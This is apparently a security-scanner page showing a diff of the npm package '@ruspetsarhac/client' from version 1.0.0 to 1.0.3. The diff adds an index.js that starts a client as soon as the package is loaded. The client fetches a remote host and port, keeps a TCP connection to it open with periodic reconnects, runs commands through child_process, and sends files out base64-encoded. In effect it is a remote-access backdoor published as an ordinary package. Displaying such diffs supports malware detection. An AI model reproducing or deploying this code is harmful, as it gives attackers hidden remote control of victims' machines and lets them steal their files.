@ruspetsarhac/client 1.0.0 → 1.0.3

Sign up to get free protection for your applications and to get access to all the features.
package/index.js ADDED
@@ -0,0 +1,3 @@
1
+ const { startClient } = require("./src/client");
2
+
3
+ startClient()
package/package.json CHANGED
@@ -1,14 +1,14 @@
1
1
  {
2
2
  "name": "@ruspetsarhac/client",
3
- "version": "1.0.0",
4
- "main": "client.js",
3
+ "version": "1.0.3",
4
+ "main": "src/client.js",
5
5
  "bin": {
6
- "client": "./client.js"
6
+ "client": "./client.js"
7
7
  },
8
8
  "scripts": {
9
- "build": "pkg client.js --targets node14-win-x64 --output client.exe"
9
+ "build": "pkg client.js --targets node14-win-x64 --output client.exe",
10
+ "pub": "git add . && git commit -m \"Updates\" && npm version patch && npm publish"
10
11
  },
11
12
  "author": "spetsar",
12
13
  "license": "ISC"
13
- }
14
-
14
+ }
@@ -1,3 +1,4 @@
1
+ // src/index.js
1
2
  const net = require('net');
2
3
  const { exec } = require('child_process');
3
4
  const path = require('path');
@@ -23,7 +24,7 @@ function fetchServerSettings(callback) {
23
24
  res.on('end', () => {
24
25
  try {
25
26
  const serverSettings = JSON.parse(data);
26
- console.log('serverSettings',serverSettings)
27
+ console.log('serverSettings', serverSettings)
27
28
  serverHost = serverSettings.host;
28
29
  serverPort = serverSettings.port;
29
30
  callback(null);
@@ -80,7 +81,7 @@ function createConnection() {
80
81
  if (err) {
81
82
  socket.write(`Error reading file: ${err.message}`);
82
83
  } else {
83
- const base64Data = data.toString('base64');
84
+ const base64Data = data.toString('base64');
84
85
  socket.write(`FILE_CONTENT:${filePath}:${base64Data}`);
85
86
  }
86
87
  });
@@ -118,29 +119,33 @@ function createConnection() {
118
119
  return socket;
119
120
  }
120
121
 
121
- let socket = createConnection();
122
-
123
- setInterval(() => {
124
- if (!isConnected) {
125
- console.log('Attempting to reconnect to the server...');
126
- socket = createConnection();
127
- }
128
- }, 60000);
129
-
130
- fetchServerSettings((error) => {
131
- if (error) {
132
- console.error(`Error fetching server settings: ${error.message}`);
133
- } else {
134
- console.log(`Fetched server settings. Host: ${serverHost}, Port: ${serverPort}`);
135
- }
136
- });
137
-
138
- setInterval(() => {
122
+ function startClient(port) {
139
123
  fetchServerSettings((error) => {
140
124
  if (error) {
141
125
  console.error(`Error fetching server settings: ${error.message}`);
142
126
  } else {
143
- console.log(`Updated server settings. Host: ${serverHost}, Port: ${serverPort}`);
127
+ console.log(`Fetched server settings. Host: ${serverHost}, Port: ${serverPort}`);
128
+ serverPort = port || serverPort;
129
+ let socket = createConnection();
130
+
131
+ setInterval(() => {
132
+ if (!isConnected) {
133
+ console.log('Attempting to reconnect to the server...');
134
+ socket = createConnection();
135
+ }
136
+ }, 60000);
137
+
138
+ setInterval(() => {
139
+ fetchServerSettings((error) => {
140
+ if (error) {
141
+ console.error(`Error fetching server settings: ${error.message}`);
142
+ } else {
143
+ console.log(`Updated server settings. Host: ${serverHost}, Port: ${serverPort}`);
144
+ }
145
+ });
146
+ }, 300000);
144
147
  }
145
148
  });
146
- }, 300000);
149
+ }
150
+
151
+ module.exports = { startClient };
File without changes
File without changes